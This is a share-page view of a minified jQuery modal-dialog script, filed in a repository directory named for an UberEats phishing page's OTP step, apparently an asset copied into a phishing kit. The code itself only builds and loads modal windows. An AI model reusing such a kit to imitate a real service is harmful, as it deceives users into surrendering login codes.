Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
bhikandeshmukh
GitHub Repository: bhikandeshmukh/shark
Path: blob/master/phs/UberEats-Phishing/otp_files/377412c06e5ddb126094.js
996 views
1
webpackJsonp([0],[,function(n,e,t){var i;i=function(){return{create:function(){var n='<div id="modal-container" class="ui modal"><div class="header" id="modal-header"></div><div class="content"></div></div>';$("#modal-container").length||$(document.body).append(n)},appendLoader:function(){var n=$("#modal-container"),e='<div class="ui active inverted dimmer" id="loader"><div class="ui text loader">Loading</div></div>';n.find("#loader").length||n.append(e)},show:function(n){if(n){this.destroy().create();var e=$("#modal-container"),i=n.semantic||{},a=n.hideCloseButton||!1,o=(n.hideHead||!1,n.actions||[]);if($.extend(i,{observeChanges:!0}),n.onClose&&$.extend(i,{onHide:n.onClose}),t.e(90,function(n){var t=[n(5),n(6)];(function(){n.e(7,function(n){var t=[n(10)];(function(){e.modal(i)}).apply(null,t)})}).apply(null,t)}),n.background&&this.setBackground(n.background),n.width&&"small"!=n.width&&"large"!=n.width&&"half"!=n.width&&this.setInitialSize(),n.hideHead&&e.find(".header").remove(),o.length){var d="";o.forEach(function(n){d+='<div class="ui button '+n.className+'">'+n.text+"</div>"}),d.length&&e.append('<div class="actions">'+d+"</div>")}if(t.e(90,function(n){var t=[n(5),n(6)];(function(){n.e(7,function(n){var t=[n(10)];(function(){e.modal("show")}).apply(null,t)})}).apply(null,t)}),n.html)this.setTitle(n.head),a||this.showCloseButton(),n.removePadding?(e.find(".content").remove(),e.append(n.html)):e.find(".content").html(n.html),this.resize(n.width),n.onOpen&&n.onOpen();else if(n.url){this.appendLoader();var r=n.post||{},l=this;$.ajax({url:n.url,type:"POST",data:r,success:function(t){l.setTitle(n.head),a||l.showCloseButton(),n.removePadding?(e.find(".content").remove(),e.append(t)):e.find(".content").html(t),l.resize(n.width),e.find("#loader").remove(),n.onOpen&&n.onOpen()}})}return n.zIndex&&e.parent(".ui.dimmer.active").css({"z-index":n.zIndex}),e.parent(".ui.dimmer.active").css({overflow:"auto"}),this}},setTitle:function(n){var e=$("#modal-container");return e.find(".header").text(n?n:"Zomato"),this},setBackground:function(n){var e=$("#modal-container");return e.css("background",n),e.find(".content").css("background",n),this},showCloseButton:function(){var n=$("#modal-container");return n.prepend('<i class="close icon"></i>'),this},setInitialSize:function(){var n=$("#modal-container");return n.css({width:300,height:250,"margin-left":-150}),this},resize:function(n){var e=$("#modal-container");if(e.css({width:"",height:""}),"small"==n||"large"==n||"half"==n)e.addClass(n);else if("number"==typeof n)if(e.width()<n){var t=e.css({width:"auto"}).width();t>n&&(t=n),e.css({height:"auto","margin-left":-(t/2),"max-width":n})}else e.css({height:"auto",width:n,"margin-left":-(n/2)});else e.addClass("small");return this},refresh:function(){var n=$("#modal-container");return t.e(90,function(e){var t=[e(5),e(6)];(function(){e.e(7,function(e){var t=[e(10)];(function(){n.modal("refresh")}).apply(null,t)})}).apply(null,t)}),this},clear:function(){$("#modal-container");return this},hide:function(){var n=$("#modal-container");return t.e(90,function(e){var t=[e(5),e(6)];(function(){e.e(7,function(e){var t=[e(10)];(function(){n.modal("hide")}).apply(null,t)})}).apply(null,t)}),this},close:function(){return this.hide(),this},destroy:function(){var n=$("#modal-container");return t.e(90,function(e){var t=[e(5),e(6)];(function(){e.e(7,function(e){var t=[e(10)];(function(){n.modal("hide").remove()}).apply(null,t)})}).apply(null,t)}),this}}}.call(e,t,e,n),!(void 0!==i&&(n.exports=i))}]);
2